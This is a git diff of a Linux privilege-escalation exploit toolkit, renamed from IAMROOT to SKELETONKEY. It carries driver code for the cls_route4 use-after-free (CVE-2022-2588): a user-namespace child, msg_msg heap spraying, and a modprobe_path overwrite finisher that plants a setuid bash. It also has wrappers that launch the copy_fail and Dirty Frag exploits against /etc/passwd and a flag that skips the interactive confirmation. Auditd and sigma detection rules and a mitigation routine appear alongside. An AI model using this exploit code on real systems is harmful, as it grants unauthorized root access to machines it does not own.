#ifdef __linux__
|
|
||||||
|
|
||||||
struct cls_route4_arb_ctx {
|
struct cls_route4_arb_ctx {
|
||||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||||
@@ -427,7 +421,7 @@ struct cls_route4_arb_ctx {
|
|||||||
* is idempotent inside our private netns. */
|
* is idempotent inside our private netns. */
|
||||||
bool dangling_ready;
|
bool dangling_ready;
|
||||||
|
|
||||||
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
|
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
|
||||||
int arb_calls;
|
int arb_calls;
|
||||||
int arb_landed;
|
int arb_landed;
|
||||||
};
|
};
|
||||||
@@ -487,7 +481,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
|
|||||||
return sent;
|
return sent;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
|
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||||
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
||||||
* filter setup is gone or the spray fails. Returns 0 to let the
|
* filter setup is gone or the spray fails. Returns 0 to let the
|
||||||
* shared finisher's sentinel-file check decide if the write actually
|
* shared finisher's sentinel-file check decide if the write actually
|
||||||
@@ -544,47 +538,41 @@ static int cls4_arb_write(uintptr_t kaddr,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ---- Exploit driver ----------------------------------------------- */
|
/* ---- Exploit driver ----------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
iamroot_result_t pre = cls_route4_detect(ctx);
|
skeletonkey_result_t pre = cls_route4_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!have_tc() || !have_ip()) {
|
if (!have_tc() || !have_ip()) {
|
||||||
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
||||||
"cannot exploit\n");
|
"cannot exploit\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
|
||||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
|
||||||
(void)ctx;
|
|
||||||
return IAMROOT_PRECOND_FAIL;
|
|
||||||
#else
|
|
||||||
/* Full-chain pre-check: resolve offsets before forking. If
|
/* Full-chain pre-check: resolve offsets before forking. If
|
||||||
* modprobe_path can't be resolved, refuse early — no point doing
|
* modprobe_path can't be resolved, refuse early — no point doing
|
||||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
bool full_chain_ready = false;
|
bool full_chain_ready = false;
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("cls_route4");
|
skeletonkey_finisher_print_offset_help("cls_route4");
|
||||||
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
||||||
"modprobe_path offset unresolved; refusing\n");
|
"modprobe_path offset unresolved; refusing\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
full_chain_ready = true;
|
full_chain_ready = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -607,7 +595,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) {
|
if (child < 0) {
|
||||||
perror("fork");
|
perror("fork");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
@@ -652,7 +640,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
/* Best-effort empirical witness write — picked up by --cleanup
|
/* Best-effort empirical witness write — picked up by --cleanup
|
||||||
* and by post-run triage. */
|
* and by post-run triage. */
|
||||||
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
|
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
|
||||||
if (log) {
|
if (log) {
|
||||||
fprintf(log,
|
fprintf(log,
|
||||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||||
@@ -674,18 +662,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* kernel a second chance at the refilled slot — the
|
* kernel a second chance at the refilled slot — the
|
||||||
* dangling filter is still in place from above. */
|
* dangling filter is still in place from above. */
|
||||||
arb_ctx.dangling_ready = true;
|
arb_ctx.dangling_ready = true;
|
||||||
int fr = iamroot_finisher_modprobe_path(&off,
|
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||||
cls4_arb_write,
|
cls4_arb_write,
|
||||||
&arb_ctx,
|
&arb_ctx,
|
||||||
!ctx->no_shell);
|
!ctx->no_shell);
|
||||||
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
|
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
|
||||||
if (fl) {
|
if (fl) {
|
||||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
}
|
}
|
||||||
drain_msg_msg(arb_ctx.queues);
|
drain_msg_msg(arb_ctx.queues);
|
||||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||||
_exit(35);
|
_exit(35);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -709,7 +697,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
pid_t w = waitpid(child, &status, 0);
|
pid_t w = waitpid(child, &status, 0);
|
||||||
if (w < 0) {
|
if (w < 0) {
|
||||||
perror("waitpid");
|
perror("waitpid");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (WIFSIGNALED(status)) {
|
if (WIFSIGNALED(status)) {
|
||||||
@@ -724,14 +712,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* claim root — we haven't escalated. */
|
* claim root — we haven't escalated. */
|
||||||
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
||||||
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
||||||
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
|
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!WIFEXITED(status)) {
|
if (!WIFEXITED(status)) {
|
||||||
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
||||||
status);
|
status);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -740,19 +728,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 22:
|
case 22:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
||||||
"may be absent or filter type unsupported\n");
|
"may be absent or filter type unsupported\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 23:
|
case 23:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
||||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 30:
|
case 30:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||||
@@ -760,34 +748,33 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
||||||
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
case 34:
|
case 34:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
||||||
"(setuid bash placed; sentinel matched)\n");
|
"(setuid bash placed; sentinel matched)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
case 35:
|
case 35:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
||||||
"either the kernel is patched, the spray didn't land,\n"
|
"either the kernel is patched, the spray didn't land,\n"
|
||||||
" or the fake-ops deref didn't hit the route the\n"
|
" or the fake-ops deref didn't hit the route the\n"
|
||||||
" finisher's sentinel polls for. See "
|
" finisher's sentinel polls for. See "
|
||||||
"/tmp/iamroot-cls_route4.log + dmesg.\n");
|
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
default:
|
default:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Cleanup ----------------------------------------------------- */
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
||||||
@@ -797,21 +784,49 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
|||||||
* the exploit with extended privileges (e.g. as root) and the
|
* the exploit with extended privileges (e.g. as root) and the
|
||||||
* interface lingered in init_net. */
|
* interface lingered in init_net. */
|
||||||
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
||||||
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
|
||||||
/* ignore */
|
/* ignore */
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
|
||||||
|
* Linux-only kernel surface; the route4 dead-UAF is structurally
|
||||||
|
* unreachable elsewhere. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] cls_route4: Linux-only module "
|
||||||
|
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char cls_route4_auditd[] =
|
static const char cls_route4_auditd[] =
|
||||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||||
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
||||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
|
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||||
|
|
||||||
const struct iamroot_module cls_route4_module = {
|
const struct skeletonkey_module cls_route4_module = {
|
||||||
.name = "cls_route4",
|
.name = "cls_route4",
|
||||||
.cve = "CVE-2022-2588",
|
.cve = "CVE-2022-2588",
|
||||||
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
||||||
@@ -827,7 +842,7 @@ const struct iamroot_module cls_route4_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_cls_route4(void)
|
void skeletonkey_register_cls_route4(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&cls_route4_module);
|
skeletonkey_register(&cls_route4_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||||
|
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module cls_route4_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
/*
|
|
||||||
* copy_fail_family — IAMROOT module registry hooks
|
|
||||||
*
|
|
||||||
* The family currently contains five iamroot_module entries:
|
|
||||||
*
|
|
||||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
|
||||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
|
||||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
|
||||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
|
||||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
|
||||||
*
|
|
||||||
* Defined in iamroot_modules.c, registered into the global registry
|
|
||||||
* by iamroot_register_copy_fail_family() (declared in
|
|
||||||
* core/registry.h).
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
|
||||||
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module copy_fail_module;
|
|
||||||
extern const struct iamroot_module copy_fail_gcm_module;
|
|
||||||
extern const struct iamroot_module dirty_frag_esp_module;
|
|
||||||
extern const struct iamroot_module dirty_frag_esp6_module;
|
|
||||||
extern const struct iamroot_module dirty_frag_rxrpc_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+88
-50
@@ -1,22 +1,23 @@
|
|||||||
/*
|
/*
|
||||||
* copy_fail_family — IAMROOT module bridge layer
|
* copy_fail_family — SKELETONKEY module bridge layer
|
||||||
*
|
*
|
||||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||||
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
|
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
|
||||||
*
|
*
|
||||||
* The bridge functions translate between the family's df_result_t
|
* The bridge functions translate between the family's df_result_t
|
||||||
* (defined in src/common.h) and iamroot_result_t (defined in
|
* (defined in src/common.h) and skeletonkey_result_t (defined in
|
||||||
* core/module.h). Numeric values are identical by design so the
|
* core/module.h). Numeric values are identical by design so the
|
||||||
* translation is a direct cast.
|
* translation is a direct cast.
|
||||||
*
|
*
|
||||||
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
|
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
|
||||||
* forwarded to the family's existing global flags before each
|
* forwarded to the family's existing global flags before each
|
||||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||||
* unchanged.
|
* unchanged.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include "src/common.h"
|
#include "src/common.h"
|
||||||
#include "src/copyfail.h"
|
#include "src/copyfail.h"
|
||||||
@@ -28,15 +29,44 @@
|
|||||||
|
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
|
||||||
static void apply_ctx(const struct iamroot_ctx *ctx)
|
static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
dirtyfail_use_color = !ctx->no_color;
|
dirtyfail_use_color = !ctx->no_color;
|
||||||
dirtyfail_active_probes = ctx->active_probe;
|
dirtyfail_active_probes = ctx->active_probe;
|
||||||
dirtyfail_json = ctx->json;
|
dirtyfail_json = ctx->json;
|
||||||
|
/* Forward the --i-know authorization gate. SKELETONKEY already
|
||||||
|
* blocks --exploit/--auto unless --i-know is passed, so by the time
|
||||||
|
* a DIRTYFAIL exploit callback runs, authorization is established.
|
||||||
|
* This lets typed_confirm() skip its (now redundant) interactive
|
||||||
|
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
|
||||||
|
dirtyfail_assume_yes = ctx->authorized;
|
||||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||||
* it's a debug knob; default stays off. */
|
* it's a debug knob; default stays off. */
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
|
||||||
|
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
|
||||||
|
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
|
||||||
|
* checks for it too, but doing it here gives the dispatcher one
|
||||||
|
* testable point per module and short-circuits the heavier
|
||||||
|
* inner-detect work when the gate is closed). copy_fail itself uses
|
||||||
|
* AF_ALG which doesn't strictly need userns, so it bypasses this
|
||||||
|
* gate — its inner detect still confirms the primitive empirically. */
|
||||||
|
static skeletonkey_result_t cff_check_userns(const char *modname,
|
||||||
|
const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
|
||||||
|
"disabled (host fingerprint) — XFRM/RxRPC variant "
|
||||||
|
"unreachable here%s\n", modname,
|
||||||
|
ctx->host->apparmor_restrict_userns
|
||||||
|
? "; AppArmor restriction is on" : "");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
/* ----- Family-wide --mitigate / --cleanup -----
|
/* ----- Family-wide --mitigate / --cleanup -----
|
||||||
*
|
*
|
||||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||||
@@ -54,13 +84,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)mitigate_apply();
|
return (skeletonkey_result_t)mitigate_apply();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
struct stat st;
|
struct stat st;
|
||||||
@@ -69,27 +99,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||||
}
|
}
|
||||||
return (iamroot_result_t)mitigate_revert();
|
return (skeletonkey_result_t)mitigate_revert();
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||||
"evicting /etc/passwd from page cache\n");
|
"evicting /etc/passwd from page cache\n");
|
||||||
}
|
}
|
||||||
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
|
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_detect();
|
return (skeletonkey_result_t)copyfail_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Shared detection rules for the copy_fail family — every member of
|
/* Shared detection rules for the copy_fail family — every member of
|
||||||
@@ -99,19 +129,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
|||||||
static const char copy_fail_family_auditd[] =
|
static const char copy_fail_family_auditd[] =
|
||||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||||
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
|
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
|
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
|
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
|
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
|
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
|
||||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
|
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
|
||||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||||
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
|
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
|
||||||
|
|
||||||
static const char copy_fail_family_sigma[] =
|
static const char copy_fail_family_sigma[] =
|
||||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
"title: Copy Fail / Dirty Frag family exploitation\n"
|
